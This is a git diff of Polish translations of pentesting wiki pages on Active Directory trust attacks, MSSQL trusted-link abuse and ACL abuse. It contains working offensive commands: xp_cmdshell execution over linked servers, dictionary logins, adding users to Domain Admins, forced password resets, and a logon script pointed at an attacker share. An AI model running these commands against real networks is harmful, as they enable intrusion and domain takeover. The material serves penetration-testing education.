### Attack Path
1. **Wymień** relacje zaufania
2. Sprawdź, czy jakikolwiek **podmiot bezpieczeństwa** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone dla tego).
1. **Zenumeruj** relacje zaufania
2. Sprawdź, czy jakikolwiek **podmiot bezpieczeństwa** (użytkownik/grupa/komputer) ma **dostęp** do zasobów **innej domeny**, być może przez wpisy ACE lub będąc w grupach innej domeny. Szukaj **relacji między domenami** (zaufanie zostało prawdopodobnie utworzone w tym celu).
1. Kerberoast w tym przypadku może być inną opcją.
3. **Skompromituj** **konta**, które mogą **przejść** przez domeny.
Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech głównych mechanizmów:
Atakujący mogą uzyskać dostęp do zasobów w innej domenie za pomocą trzech podstawowych mechanizmów:
- **Członkostwo w grupie lokalnej**: Podmioty mogą być dodawane do lokalnych grup na maszynach, takich jak grupa "Administratorzy" na serwerze, co daje im znaczne kontrolę nad tą maszyną.
- **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co daje im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
- **Członkostwo w grupie domeny obcej**: Podmioty mogą być również członkami grup w obcej domenie. Jednak skuteczność tej metody zależy od charakteru zaufania i zakresu grupy.
- **Listy Kontroli Dostępu (ACL)**: Podmioty mogą być określone w **ACL**, szczególnie jako podmioty w **ACE** w ramach **DACL**, co zapewnia im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACL, DACL i ACE, dokument zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest cennym źródłem.
### Child-to-Parent forest privilege escalation
### Find external users/groups with permissions
Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, aby znaleźć obce podmioty bezpieczeństwa w domenie. Będą to użytkownicy/grupy z **zewnętrznej domeny/lasy**.
Możesz to sprawdzić w **Bloodhound** lub używając powerview:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### Eskalacja uprawnień z dziecka do rodzica w lesie
```bash
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
Inne sposoby na enumerację zaufania domeny:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Istnieją **2 zaufane klucze**, jeden dla _Child --> Parent_ i drugi dla _Parent_ --> _Child_.\
> Możesz użyć tego, który jest używany przez bieżącą domenę, za pomocą:
@ -582,19 +610,19 @@ Wznieś się jako administrator przedsiębiorstwa do domeny dziecka/rodzica, wyk
sid-history-injection.md
{{#endref}}
#### Wykorzystanie zapisywalnego Configuration NC
#### Wykorzystanie zapisywalnego NC Konfiguracji
Zrozumienie, jak Configuration Naming Context (NC) może być wykorzystywane, jest kluczowe. Configuration NC służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
Zrozumienie, jak NC Konfiguracji (Naming Context) może być wykorzystywane, jest kluczowe. NC Konfiguracji służy jako centralne repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego kontrolera domeny (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię NC Konfiguracji. Aby to wykorzystać, należy mieć **uprawnienia SYSTEM na DC**, najlepiej na DC dziecka.
**Połącz GPO z witryną główną DC**
Kontener Sites w Configuration NC zawiera informacje o wszystkich komputerach dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn.
Kontener Witryn NC Konfiguracji zawiera informacje o witrynach wszystkich komputerów dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą połączyć GPO z witrynami głównymi DC. Działanie to potencjalnie kompromituje główną domenę poprzez manipulację politykami stosowanymi do tych witryn.
Aby uzyskać szczegółowe informacje, można zbadać badania na temat [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Kompromitacja dowolnego gMSA w lesie**
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
Wektor ataku polega na celowaniu w uprzywilejowane gMSA w domenie. Klucz KDS Root, niezbędny do obliczania haseł gMSA, jest przechowywany w NC Konfiguracji. Posiadając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do klucza KDS Root i obliczyć hasła dla dowolnego gMSA w całym lesie.
Szczegółowa analiza znajduje się w dyskusji na temat [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
@ -606,12 +634,12 @@ Dalsze czytanie dostępne jest na temat [Schema Change Trust Attacks](https://im
**Z DA do EA z ADCS ESC5**
Luka ADCS ESC5 celuje w kontrolę nad obiektami Public Key Infrastructure (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
Luka ADCS ESC5 celuje w kontrolę nad obiektami Infrastruktury Klucza Publicznego (PKI), aby stworzyć szablon certyfikatu, który umożliwia uwierzytelnienie jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w NC Konfiguracji, kompromitacja zapisywalnego DC dziecka umożliwia przeprowadzenie ataków ESC5.
Więcej szczegółów można przeczytać w [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). W scenariuszach bez ADCS, atakujący ma możliwość skonfigurowania niezbędnych komponentów, jak omówiono w [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Zewnętrzna domena lasu - jednokierunkowa (przychodząca) lub dwukierunkowa
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -621,14 +649,14 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
W tym scenariuszu **twoja domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Musisz znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
W tym scenariuszu **twój domena jest zaufana** przez zewnętrzną, co daje ci **nieokreślone uprawnienia** nad nią. Będziesz musiał znaleźć **które podmioty twojej domeny mają jakie uprawnienia nad zewnętrzną domeną** i spróbować to wykorzystać:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### Zewnętrzna Domena Leśna - Jednokierunkowa (Wychodząca)
```powershell
### Zewnętrzna domena lasu - jednokierunkowa (wyjściowa)
```bash
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
@ -639,18 +667,18 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu z **innych domen**.
W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu z **innych domen**.
Jednakże, gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa **zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
Jednakże, gdy **domena jest zaufana** przez ufającą domenę, zaufana domena **tworzy użytkownika** o **przewidywalnej nazwie**, który używa **hasła zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z ufającej domeny, aby dostać się do zaufanej**, aby ją zenumerować i spróbować eskalować więcej uprawnień:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** zaufania domeny (co nie jest zbyt powszechne).
Innym sposobem na skompromitowanie zaufanej domeny jest znalezienie [**zaufanego linku SQL**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnej kierunku** zaufania domeny (co nie jest zbyt powszechne).
Innym sposobem na skompromitowanie zaufanej domeny jest czekanie na maszynie, na której **użytkownik z zaufanej domeny może uzyskać dostęp** do logowania przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **uzyskać dostęp do domeny źródłowej ofiary** stamtąd.\
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu sesji **RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze startowym dysku twardego**. Ta technika nazywa się **RDPInception.**
Co więcej, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby przechowywać **tylnie drzwi** w **folderze uruchamiania dysku twardego**. Ta technika nazywa się **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -661,12 +689,12 @@ rdp-sessions-abuse.md
### **Filtracja SID:**
- Ryzyko ataków wykorzystujących atrybut historii SID w zaufaniach między lasami jest łagodzone przez filtrację SID, która jest domyślnie aktywowana we wszystkich zaufaniach między lasami. Opiera się to na założeniu, że zaufania wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie z stanowiskiem Microsoftu.
- Jednak jest pewien haczyk: filtracja SID może zakłócać aplikacje i dostęp użytkowników, co prowadzi do jej okazjonalnego dezaktywowania.
- Jednak jest haczyk: filtracja SID może zakłócać aplikacje i dostęp użytkowników, co prowadzi do jej okazjonalnego dezaktywowania.
### **Selektywna autoryzacja:**
- W przypadku zaufania między lasami, stosowanie selektywnej autoryzacji zapewnia, że użytkownicy z dwóch lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są wyraźne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w ufającej domenie lub lesie.
- Ważne jest, aby zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego kontekstu nazewnictwa konfiguracji (NC) ani atakami na konto zaufania.
- Ważne jest, aby zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego kontekstu nazewnictwa konfiguracji (NC) lub atakami na konto zaufania.
[**Więcej informacji o zaufaniach domen w ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -678,9 +706,9 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
## Niektóre ogólne obrony
[**Dowiedz się więcej o tym, jak chronić poświadczenia tutaj.**](../stealing-credentials/credentials-protections.md)
[**Dowiedz się więcej o tym, jak chronić dane uwierzytelniające tutaj.**](../stealing-credentials/credentials-protections.md)
### **Środki obronne dla ochrony poświadczeń**
### **Środki obronne dla ochrony danych uwierzytelniających**
- **Ograniczenia dla administratorów domeny**: Zaleca się, aby administratorzy domeny mogli logować się tylko do kontrolerów domeny, unikając ich użycia na innych hostach.
- **Uprawnienia konta usługi**: Usługi nie powinny być uruchamiane z uprawnieniami administratora domeny (DA), aby zachować bezpieczeństwo.
@ -688,14 +716,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Wdrażanie technik oszustwa**
- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak fałszywi użytkownicy lub komputery, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako Zaufane do Delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Wdrażanie oszustwa polega na ustawianiu pułapek, takich jak fałszywi użytkownicy lub komputery, z funkcjami takimi jak hasła, które nie wygasają lub są oznaczone jako zaufane do delegacji. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
- Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Więcej na temat wdrażania technik oszustwa można znaleźć w [Deploy-Deception na GitHubie](https://github.com/samratashok/Deploy-Deception).
### **Identyfikacja oszustwa**
- **Dla obiektów użytkowników**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty utworzenia i niskie liczby błędnych haseł.
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów fałszywych z atrybutami obiektów prawdziwych może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
- **Ogólne wskaźniki**: Porównanie atrybutów potencjalnych obiektów fałszywych z tymi prawdziwymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich oszustw.
### **Omijanie systemów wykrywania**
@ -704,7 +732,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **Impersonacja biletu**: Wykorzystanie kluczy **aes** do tworzenia biletów pomaga unikać wykrycia, nie obniżając się do NTLM.
- **Ataki DCSync**: Zaleca się wykonywanie z nie-kontrolera domeny, aby uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie z kontrolera domeny wywoła alerty.
## Odnośniki
## Odniesienia
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)

View File

@ -7,7 +7,7 @@
### Python
Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i umożliwia również uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i pozwala również na uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
```shell
@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
### Powershell
Moduł powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) jest w tym przypadku bardzo przydatny.
```powershell
```bash
Import-Module .\PowerupSQL.psd1
````
### Enumerowanie z sieci bez sesji domenowej
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Enumerowanie z wnętrza domeny
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# Try dictionary attack to login
Invoke-SQLAuditWeakLoginPw
# Search SPNs of common software and try the default creds
Get-SQLServerDefaultLoginPw
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
@ -130,7 +136,19 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
## MSSQL Podstawowe Wykorzystanie
### Dostęp do DB
```powershell
```bash
# List databases
Get-SQLInstanceDomain | Get-SQLDatabase
# List tables in a DB you can read
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
# List columns in a table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
# Get some sample data from a column in a table (columns username & passwor din the example)
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
@ -144,11 +162,11 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
### MSSQL RCE
Możliwe jest również **wykonywanie poleceń** wewnątrz hosta MSSQL
```powershell
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
Sprawdź na stronie wspomnianej w **następnym rozdziale, jak zrobić to ręcznie.**
Sprawdź na stronie wspomnianej w **następującej sekcji, jak zrobić to ręcznie.**
### MSSQL Podstawowe Sztuczki Hackingowe
@ -158,12 +176,12 @@ Sprawdź na stronie wspomnianej w **następnym rozdziale, jak zrobić to ręczni
## Zaufane Linki MSSQL
Jeśli instancja MSSQL jest zaufana (link do bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.
Jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań również w innej instancji**. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.
**Linki między bazami danych działają nawet w przypadku zaufania między lasami.**
### Nadużycie Powershell
```powershell
```bash
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
Innym podobnym narzędziem, które można wykorzystać, jest [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
```bash
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
# Cobalt Strike
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
```
### Metasploit
Możesz łatwo sprawdzić zaufane linki za pomocą metasploit.
@ -223,7 +247,7 @@ EXEC sp_linkedservers;
#### Wykonaj zapytania w zaufanym linku
Wykonaj zapytania przez link (przykład: znajdź więcej linków w nowo dostępnym instancji):
Wykonaj zapytania przez link (przykład: znajdź więcej linków w nowej dostępnej instancji):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
@ -254,9 +278,8 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
**Użytkownik lokalny MSSQL** zazwyczaj ma specjalny rodzaj uprawnienia nazywanego **`SeImpersonatePrivilege`**. Umożliwia to kontu "podszywanie się pod klienta po uwierzytelnieniu".
Strategią, którą opracowało wielu autorów, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub man-in-the-middle usłudze, którą tworzy atakujący. Ta fałszywa usługa jest w stanie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić.
Strategią, którą wielu autorów opracowało, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub man-in-the-middle usłudze, którą tworzy atakujący. Ta fałszywa usługa jest w stanie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić.
[SweetPotato](https://github.com/CCob/SweetPotato) ma zbiór tych różnych technik, które można wykonać za pomocą polecenia `execute-assembly` Beacona.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -9,22 +9,22 @@
Ten przywilej daje atakującemu pełną kontrolę nad kontem docelowego użytkownika. Gdy prawa `GenericAll` zostaną potwierdzone za pomocą polecenia `Get-ObjectAcl`, atakujący może:
- **Zmienić hasło docelowego użytkownika**: Używając `net user <username> <password> /domain`, atakujący może zresetować hasło użytkownika.
- **Celowane Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je podatnym na kerberoasting, a następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić i spróbować złamać hashe biletu przyznającego (TGT).
```powershell
- **Celowane Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, a następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić i spróbować złamać hashe biletu przyznającego (TGT).
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: Wyłącz pre-autoryzację dla użytkownika, co sprawia, że jego konto jest podatne na ASREPRoasting.
```powershell
- **Targeted ASREPRoasting**: Wyłącz wstępną autoryzację dla użytkownika, co sprawia, że jego konto jest podatne na ASREPRoasting.
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll Rights on Group**
Ten przywilej pozwala atakującemu na manipulowanie członkostwem grupy, jeśli ma prawa `GenericAll` w grupie takiej jak `Domain Admins`. Po zidentyfikowaniu wyróżnionej nazwy grupy za pomocą `Get-NetGroup`, atakujący może:
To uprawnienie pozwala atakującemu na manipulowanie członkostwem grupy, jeśli ma prawa `GenericAll` w grupie takiej jak `Domain Admins`. Po zidentyfikowaniu wyróżnionej nazwy grupy za pomocą `Get-NetGroup`, atakujący może:
- **Dodać Siebie do Grupy Domain Admins**: Można to zrobić za pomocą bezpośrednich poleceń lub korzystając z modułów takich jak Active Directory lub PowerSploit.
```powershell
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
@ -41,26 +41,26 @@ Posiadanie tych uprawnień na obiekcie komputera lub koncie użytkownika pozwala
Jeśli użytkownik ma prawa `WriteProperty` do wszystkich obiektów w konkretnej grupie (np. `Domain Admins`), może:
- **Dodać Siebie do Grupy Domain Admins**: Możliwe do osiągnięcia poprzez połączenie poleceń `net user` i `Add-NetGroupUser`, ta metoda pozwala na eskalację uprawnień w obrębie domeny.
```powershell
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) na Grupie**
Ten przywilej umożliwia atakującym dodawanie siebie do konkretnych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio manipulują członkostwem w grupie. Użycie następującej sekwencji poleceń pozwala na samododanie:
```powershell
Ten przywilej umożliwia atakującym dodawanie siebie do określonych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio manipulują członkostwem w grupie. Użycie następującej sekwencji poleceń pozwala na samododanie:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
Podobne uprawnienie, pozwala atakującym na bezpośrednie dodawanie siebie do grup poprzez modyfikację właściwości grup, jeśli mają prawo `WriteProperty` do tych grup. Potwierdzenie i wykonanie tego uprawnienia odbywa się za pomocą:
```powershell
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Posiadanie `ExtendedRight` na użytkowniku dla `User-Force-Change-Password` umożliwia resetowanie haseł bez znajomości aktualnego hasła. Weryfikacja tego prawa i jego wykorzystanie mogą być przeprowadzone za pomocą PowerShell lub alternatywnych narzędzi wiersza poleceń, oferując kilka metod resetowania hasła użytkownika, w tym sesje interaktywne i jednowierszowe polecenia dla środowisk nieinteraktywnych. Polecenia obejmują od prostych wywołań PowerShell po użycie `rpcclient` na Linuksie, co pokazuje wszechstronność wektorów ataku.
```powershell
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -72,8 +72,8 @@ rpcclient -U KnownUsername 10.10.10.192
```
## **WriteOwner na grupie**
Jeśli atakujący odkryje, że ma prawa `WriteOwner` do grupy, może zmienić właściciela grupy na siebie. Ma to szczególne znaczenie, gdy grupą, o której mowa, są `Domain Admins`, ponieważ zmiana właściciela pozwala na szerszą kontrolę nad atrybutami grupy i członkostwem. Proces ten polega na zidentyfikowaniu odpowiedniego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner`, aby zmodyfikować właściciela, zarówno przez SID, jak i nazwę.
```powershell
Jeśli atakujący odkryje, że ma prawa `WriteOwner` do grupy, może zmienić właściciela grupy na siebie. Ma to szczególne znaczenie, gdy grupą, o której mowa, są `Domain Admins`, ponieważ zmiana właściciela pozwala na szerszą kontrolę nad atrybutami grupy i członkostwem. Proces polega na zidentyfikowaniu odpowiedniego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner`, aby zmodyfikować właściciela, zarówno przez SID, jak i nazwę.
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
## **GenericWrite na użytkowniku**
To uprawnienie pozwala atakującemu na modyfikację właściwości użytkownika. Konkretnie, z dostępem `GenericWrite`, atakujący może zmienić ścieżkę skryptu logowania użytkownika, aby wykonać złośliwy skrypt po logowaniu użytkownika. Osiąga się to poprzez użycie polecenia `Set-ADObject`, aby zaktualizować właściwość `scriptpath` docelowego użytkownika, aby wskazywała na skrypt atakującego.
```powershell
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite na grupie**
Dzięki temu uprawnieniu, atakujący mogą manipulować członkostwem w grupie, na przykład dodając siebie lub innych użytkowników do konkretnych grup. Proces ten polega na utworzeniu obiektu poświadczeń, użyciu go do dodawania lub usuwania użytkowników z grupy oraz weryfikacji zmian członkostwa za pomocą poleceń PowerShell.
```powershell
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
Posiadanie obiektu AD i posiadanie uprawnień `WriteDACL` na nim umożliwia atakującemu przyznanie sobie uprawnień `GenericAll` do obiektu. Osiąga się to poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikacji jego członkostwa w grupach. Mimo to, istnieją ograniczenia przy próbie wykorzystania tych uprawnień za pomocą poleceń `Set-Acl` / `Get-Acl` modułu Active Directory.
```powershell
